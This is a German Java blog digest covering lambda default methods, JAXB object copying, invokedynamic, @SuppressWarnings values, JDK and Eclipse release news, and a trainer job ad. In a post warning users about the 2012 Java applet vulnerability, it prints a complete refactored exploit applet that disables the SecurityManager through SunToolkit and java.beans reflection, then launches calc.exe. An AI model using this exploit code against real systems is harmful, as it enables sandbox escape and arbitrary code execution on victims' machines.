Aus
void foo() default { }
wird
default void foo() { }
Aus
void foo() default { }
wird
default void foo() { }
Die neue Methode BuferedReader lines() liefert ein Stream von Strings, die mit den Bulk-Methoden der Lambda-Bibliothek verarbeitet werden können. Brian Goetz gibt unter http://mail.openjdk.java.net/pipermail/lambda-dev/2012-November/006545.html ein (nicht ganz fehlerfreies) Beispiel:
try (reader = new BR(new FR(file))) { reader.lines() .filter(e -> !startsWith("#")) .map(e -> e.toUpperCase()) .forEach(...); }
Der Changeset: ttp://hg.openjdk.java.net/lambda/lambda/jdk/rev/94d64473e8e6
Der Java-Compiler von Oracle und der Java-Compiler der Entwicklungsumgebung Eclipse sind selbst in Java implementiert und generieren diesen Bytecode (es gibt aber auch Java-Compiler in C++, wie den Jikes-Compiler. Natürlich gibt es da ein Henne-Ein-Problem: wie sollte ein neuer in Java geschriebener Compiler durch Java übersetzt werden? Daher entsteht der erste Compiler immer in einer anderen Sprache, und die übersetzt eine kleine Teilmenge der Zielsprache, und dann wird ein neuer Compiler in der Minisprache entwickelt. Im nächsten Schritt wachsen und vergrößern sich Grammatik und Compiler. In der Sprache der Compilerbauer heißt der Prozess Bootstrapping. Bei Java war das ein Prozess über mehrere Stufen. Patrick Naughton schreibt im Buch The Java handbook dazu: “Arthur van Hoff rewrote the compiler in Oak itself, replacing the C version that James originally wrote.“
Zwei Threads sollen auf ein Signal warten, das von einem dritten Threads jede Sekunde gesendet wird. Kommt das Signal, soll sich der erste und zweite Thread zufällig für Schere, Papier oder Stein entscheiden.
tutego sucht freiberufliche Trainer mit Kenntnissen aus folgenden Gebieten:
Wir erwarten Menschen mit sicherem Auftreten und mehrjähriger Berufserfahrung, die ein hohes Maß an Eigeninitiative, Organisationstalent, Verantwortung und Teamfähigkeit mitbringen und aktiv in der Community teilnehmen.
Sie erweitern Ihr Wissen ständig in der Praxis und können idealerweise Veröffentlichungen vorweisen. Ihr Einsatzort ist der gesamte deutschsprachige Raum.
Es macht Ihnen Spaß Vorträge zu halten und zu unterrichten? Sie sind schnell begeistert, wenn es um die Anwendung neuer Technologien geht? Dann sind Sie bei tutego genau richtig! Wir freuen uns auf Ihre Bewerbung per E-Mail unter info at tutego dot com.
Die unmarshal(…)-Methoden ist überladen mit Parametern, die typische Datenquellen repräsentieren, etwa Dateien oder Eingabeströme wie ein Reader. Allerdings sind noch andere Parametertypen interessant, und es lohnt sich, hier einmal in die API-Dokumentation zu schauen. Ein spannender Typ ist javax.xml.transform.Source, beziehungsweise die Implementierung der Schnittstelle durch JAXBSource. JAXBSource ist die Quelle, aus denen JAXB seine Informationen bezieht, um ein neues Java-Objekt zu rekonstruieren.
Das nächste Beispiel nimmt sich ein Objekt room als Basis und erzeugt eine tiefe Kopie davon:
Room room = …
JAXBContext context = JAXBContext.newInstance( Room.class );
Unmarshaller unmarshaller = context.createUnmarshaller();
JAXBSource source = new JAXBSource( context, room );
Room copiedRoom = Room.class.cast( unmarshaller.unmarshal( source ) );
System.out.println( copiedRoom.getPlayers() ); // [com.tutego.insel.xml.jaxb.Player@…]
Das Beispiel zeigt somit, wie sich mit Hilfe von JAXB Objektkopien erzeugen lassen.
Bei invokedynamic sind viel weniger Typinformationen nötig wie bei den anderen vier existierenden Bytecodes für Methodenaufrufe. Generiert wird der Bytecode zum Beispiel von Skriptsprachen, wenn Typinformationen fehlen. Die Compiler der Skriptsprachen nutzen Bytecode-Bibliotheken wie ASM (http://asm.ow2.org/) und umgehen den Java-Compiler zur Erstellung der Klassendateien.
Der neue Bytecode ist die eine Seite. Aber wenn die Typinformationen fehlen, insbesondere der wichtige Empfänger (wie PrintStream bei println()), wie kommt die JVM zur wirklichen Implementierung? Etwa bei unserem Beispiel von isEmpty(s), in dem es ein invokedynamic-Aufruf von s.length() gibt. Der Aufruf muss ja irgendwo landen.
function isEmpty(s) { return s == null || s.length() == 0; }
Zwei Dinge sind hier zusätzlich nötig. Das erste ist, dass es neben dem Aufruf von invokedynamic noch eine zusätzliche Information im Bytecode gibt, nämlich von einer Bootstrap-Methode. Findet die JVM zum ersten Mal ein invokedynamic, dann weiß sie nicht, an wen der Aufruf geht und wendet sich an die Bootstrap-Methode. Zur passenden Auswahl der Zielmethode übergibt die JVM an die Bootstrap-Methode Informationen über Aufrufer und Name, sodass alle wichtigen Informationen zur Auswahl des Ziels vorhanden sind. Hier sind wir nun in der zweiten Hälfte, denn zusätzlich zum neuen Bytecode gibt es ein neues Paket java.lang.invoke. Die Bootstrap-Methode spezifiziert mit der API des neuen Pakets die Zielmethode und gibt diese an die JVM weiter. Wenn das einmal geschehen ist, ist der Aufruf gebunden und die JVM ruft beim dynamischen Aufruf direkt die vom Bootstrap gelieferte Methode auf. Der genaue Ablauf bei den invokedynamic-Aufrufen dokumentiert das Paket.
Der neue Bytecode muss von einer Java 7-JVM unterstützt werden und wird von dynamischen Skriptsprachen generiert, um die Aufrufe schnell von der JVM ausführen zu lassen. Normale Entwickler werden den neuen Bytecode kaum brauchen, und im Quellcode ist er eh nicht sichtbar.
Neben den von Generics kommenden Kennungen rawtype und unchecked gibt es weitere, die allerdings nicht sonderlich gut dokumentiert sind. Das liegt auch daran, dass Meldungen während der Programmübersetzung zur Compilerinfrastruktur gehören und nicht zur Laufzeitumgebung, und damit nicht zur traditionellen Java-API. Der Compiler kann im Prinzip beliebige Codeanalysen beliebiger Komplexität vornehmen und bei vermuteten Fehlern Alarm schlagen. Um wir dürfen auch nicht vergessen, dass es nur Warnungen sind: wer als Programmierer alles richtig macht, wird die Meldungen nicht zu Gesicht bekommen. Dennoch ist es relevant, sie zu kennen, denn der Compiler wird manches Mal etwas anmerken, was Entwickler bewusst nutzen wollen, und dann gilt es, die Meldungen abzuschalten.
Die Macher vom Eclipse-Compiler (JDT) dokumentieren die unterstützten Warnungen unter http://help.eclipse.org/juno/index.jsp?topic=%2Forg.eclipse.jdt.doc.user%2Ftasks%2Ftask-suppress_warnings.htm. Neben den aufgeführten Meldungen all, rawtype und unchecked sind folgende noch interessant:
@SuppressWarnings |
Unterdrückt Meldungen für |
deprecation |
veraltete Elemente, wie new java.util.Date(2012-1970, 3, 3). |
incomplete-switch |
ausgelassene Aufzählungen in swich-case-Anweisungen. |
resource |
ein nicht geschlossenes AutoClosable, wie new java.util.Scanner(System.in).nextLine(). |
serial |
eine serialisierbare Klasse, die keine Serialisierung-ID besitzt. |
unused |
nicht benutzte Elemente, etwa nicht aufgerufene private Methoden. |
Einige Werte von @SuppressWarnings
Details bei Mark auf dem Blog: http://mreinhold.org/blog/on-the-next-train
Alle Neuerungen hier: http://download.eclipse.org/eclipse/downloads/drops4/S-4.3M2-201209201300/news/. Zur Wiederholung noch einmal von M1: http://download.eclipse.org/eclipse/downloads/drops4/S-4.3M1-201208101300/news/. Das fand ich zum Beispiel nett:
Aber M2 hat nicht so viel Spannendes zu bieten.
… schauen wir mal wie es für http://openjdk.java.net/projects/threeten/ jetzt weitergeht und ob es wirklich in Java 8 kommt.
Alle Änderungen im Überblick http://download.java.net/jdk8/changes/jdk8-b55.html.
Change-Set: 131a683a2ce0
6336885
RFE: Locale Data Deployment Enhancements
4609153
Provide locale data for Indic locales
5104387
Support for gl_ES locale (galician language)
6337471
desktop/system locale preferences support
7056139
(cal) SPI support for locale-dependent Calendar parameters
7058206
Provide CalendarData SPI for week params and display field value names
7073852
Support multiple scripts for digits and decimal symbols per locale
7079560
[Fmt-Da] Context dependent month names support in SimpleDateFormat
7171324
getAvailableLocales() of locale sensitive services should return the actual availability of locales
7151414
(cal) Support calendar type identification
7168528
LocaleServiceProvider needs to be aware of Locale extensions
7171372
(cal) locale’s default Calendar should be created if unknown calendar is specified
http://wicket.apache.org/. Änderungen siehe hier: https://wicket.apache.org/2012/09/05/wicket-6.0.0-released.html.
ShellEd (Bild) ist ein Shell-Script-Editor für Unix-Skripte (also ash, bsh, bash, csh, ksh, sh, zsh). Mit Manual und Vervollständigung. Interessant dazu ist das relativ unbekannte Target Management Project, wo man remote, etwa über SSH oder FTP auf einem Server arbeiten und zum Beispiel Dokumente editieren kann.
Mehr Eclipse-Plugins gibt’s unter http://www.tutego.de/java/eclipse/plugin/eclipse-plugins.html.
Anfang 2009 schrieb ich im Blog:
Darauf hat die Welt gewartet: Wieder ein neues/altes Web-Framework
Apache Click http://incubator.apache.org/click/ heißt es und läuft ab Java 1.4. Super. Kommt damit 5 Jahre zu spät. Also nix mit Annotationen. Schön XML und so. (Click 0.3 gab es auch schon im März 2005, also ist das Projekt nicht wirklich jung.) Das Wort Ajax taucht auf den ganzen Webseiten nicht auf. Immerhin gibt es eine http://incubator.apache.org/click/docs/click-ide.html auf Eclipse 3.4 Basis. Toll die Antwort auf die Frage "Why develop a new Web Application Framework?" Antwort: "Because the existing frameworks did not meet my needs. Struts doesn’t really do much, while Tapestry is too complicated. For a more comprehensive answer please see Why Click." Klar, als ob es nur Struts und Tapestry gibt. Vor 10 Jahren vielleicht. Bei Struts 1.x ist die Zeit schon lange abgelaufen und bei Tapestry 5 hält man sich noch ein wenig mit DI/IoC über Wasser.
Heute, im Jahr 2012, hat es Click zu einem vollständigen Web-Framework geschafft, die Demos (http://click.avoka.com/click-examples/home.htm) sehen von der Funktionalität OK aus, nur etwas altbacken, etwa so wie Windows 3.1 im Vergleich zu Windows 7.
Das letzte Update von Click ist von März 2011, also 1 1/2 Jahr alt. Das war’s dann wohl.
Habe gerade http://www.androidlost.com/ ausprobiert, und das ist ganz cool. Aber hoffentlich bleibt mein Handy bei mir …
Nach dem nun herauskam, dass Oracle von der schweren Lücke schon seit April (!) wusste, hast sich das Unternehmen nun doch genötigt, ein Update zu veröffentlichen. Jeder ist angehalten, das 7u7 sofort (bzw. 6u35) sofort zu installieren.
Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter
Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:
package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.*; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { private static final long serialVersionUID = 1L; private void disableSecurity() throws Exception { Permissions localPermissions = new Permissions(); localPermissions.add( new AllPermission() ); CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} ); ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) }; AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains ); Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } ); expr1.execute(); Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } ); expr2.execute(); Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] ); ((Field) expr2.getValue()).set( localStatement, localAccessControlContext ); localStatement.execute(); } @Override public void init() { try { disableSecurity(); Runtime.getRuntime().exec( "calc.exe" ).waitFor(); } catch ( Throwable t ) { t.printStackTrace(); } } @Override public void paint( Graphics g ) { g.drawString( "Loading", 50, 25 ); } }
PFGrid SWT (http://www.pfgrid.com/Index_Eclipse.aspx) ist ein TreeList- und Grid-SWT-Widget mit einem dynamischen Renderer-Ansatz, so dass das Control wahlweise in Windows-XP, Vista- oder Office2007-style dargestellt werden kann.
Eigene Renderer sind einfach zu implementieren. Beliebige SWT- aber auch Swing-controls können als Cell-Editoren verwendet werden. Das Grid verfügt über Features wie Excel-cell-copy oder Outlook-like grouping für Spalten, was für SWT-Grids einzigartig ist. JFace-Viewer für Table- und Tree-Darstellungen runden das widget ab. PFGrid kann als Eclipse-Plugin aber auch als standalone-jar in jeder Java-Applikation verwendet werden. Neben dem PFGrid-Widget wird auch ein Outlook-like NavigationBar-Widget mitgeliefert. Es handelt sich um eine kommerzielle Bibliothek.